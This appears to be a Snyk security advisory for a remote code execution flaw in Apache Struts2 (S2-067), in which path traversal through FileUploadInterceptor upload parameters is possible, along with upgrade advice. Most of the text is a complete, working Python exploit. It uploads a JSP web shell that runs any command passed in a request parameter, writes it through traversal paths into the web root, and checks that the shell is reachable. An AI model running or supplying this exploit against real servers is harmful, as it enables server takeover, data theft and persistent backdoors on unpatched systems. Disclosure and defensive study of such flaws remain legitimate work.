Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningUpgrade org.apache.struts:struts2-core
to version 7.0.0 or higher.
org.apache.struts:struts2-core is a popular open-source framework for developing web applications in the Java programming language.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via manipulation of file upload parameters that enable path traversal. When using FileUploadInterceptor
, uploading of a malicious file is possible, which may then be executed on the server.
Notes:
This is only exploitable if the application uses FileUploadInterceptor
;
Version 6.4.0 deprecates FileUploadInterceptor
, but to fix the vulnerability its use must be replaced by an instance of Action File Upload and the corresponding interceptor. FileUploadInterceptor
has been removed in 7.0.0.
import requests
import argparse
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import string
def generate_random_filename(extension=".jsp", length=8):
"""Generate a random filename."""
return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) + extension
def create_payload():
"""Generate a simple JSP payload for testing RCE."""
return """<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
out.println(line);
}
}
%>"""
def upload_multiple_files(target_url, upload_endpoint, payload, paths, filenames):
"""
Upload multiple payload files using parameter overwrite and path traversal.
"""
upload_url = urljoin(target_url, upload_endpoint)
print(f"[INFO] Target upload endpoint: {upload_url}")
headers = {"User-Agent": "Mozilla/5.0"}
boundary = '----WebKitFormBoundary' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
for path in paths:
files_payload = {}
print(f"\n[INFO] Testing path traversal with base path: {path}")
for index, filename in enumerate(filenames):
modified_filename = f"{path}/{filename}"
key_file = f"upload[{index}]"
key_name = f"uploadFileName[{index}]"
files_payload[key_file] = (filename, payload, "application/octet-stream")
files_payload[key_name] = modified_filename
print(f"[INFO] File {index + 1}: {modified_filename}")
m = MultipartEncoder(fields=files_payload, boundary=boundary)
headers["Content-Type"] = m.content_type
try:
response = requests.post(upload_url, headers=headers, data=m, timeout=10)
if response.status_code == 200:
print("[SUCCESS] Payload uploaded. Verifying...")
for filename in filenames:
verify_uploaded_file(target_url, f"{path}/{filename}")
else:
print(f"[ERROR] Upload failed. HTTP {response.status_code}")
except requests.RequestException as e:
print(f"[ERROR] Request failed: {e}")
def verify_uploaded_file(target_url, file_path):
"""Verify if the uploaded payload file is accessible and can execute commands."""
file_url = urljoin(target_url, file_path)
print(f"[INFO] Verifying uploaded file: {file_url}")
try:
response = requests.get(file_url, timeout=10)
if response.status_code == 200:
print(f"[ALERT] File uploaded and accessible: {file_url}?cmd=whoami")
else:
print(f"[INFO] File not accessible. HTTP Status: {response.status_code}")
except requests.RequestException as e:
print(f"[ERROR] Verification failed: {e}")
def main():
parser = argparse.ArgumentParser(description="S2-067 Exploit - Multi-file Upload Support")
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
parser.add_argument("--upload_endpoint", required=True, help="Path to upload endpoint (e.g., /uploads.action)")
parser.add_argument("--paths", nargs="+", default=["../../../../../webapps/ROOT", "/tmp"],
help="Paths for path traversal testing")
parser.add_argument("--filenames", nargs="+",
help="Custom filenames for payloads",
default=[generate_random_filename() for _ in range(3)])
parser.add_argument("--payload", help="Custom JSP payload content", default=create_payload())
args = parser.parse_args()
print("[INFO] Starting S2-067 Multi-file Upload Exploit...")
upload_multiple_files(args.url.rstrip("/"), args.upload_endpoint, args.payload, args.paths, args.filenames)
print("\n[INFO] Exploit process completed.")
if __name__ == "__main__":
main()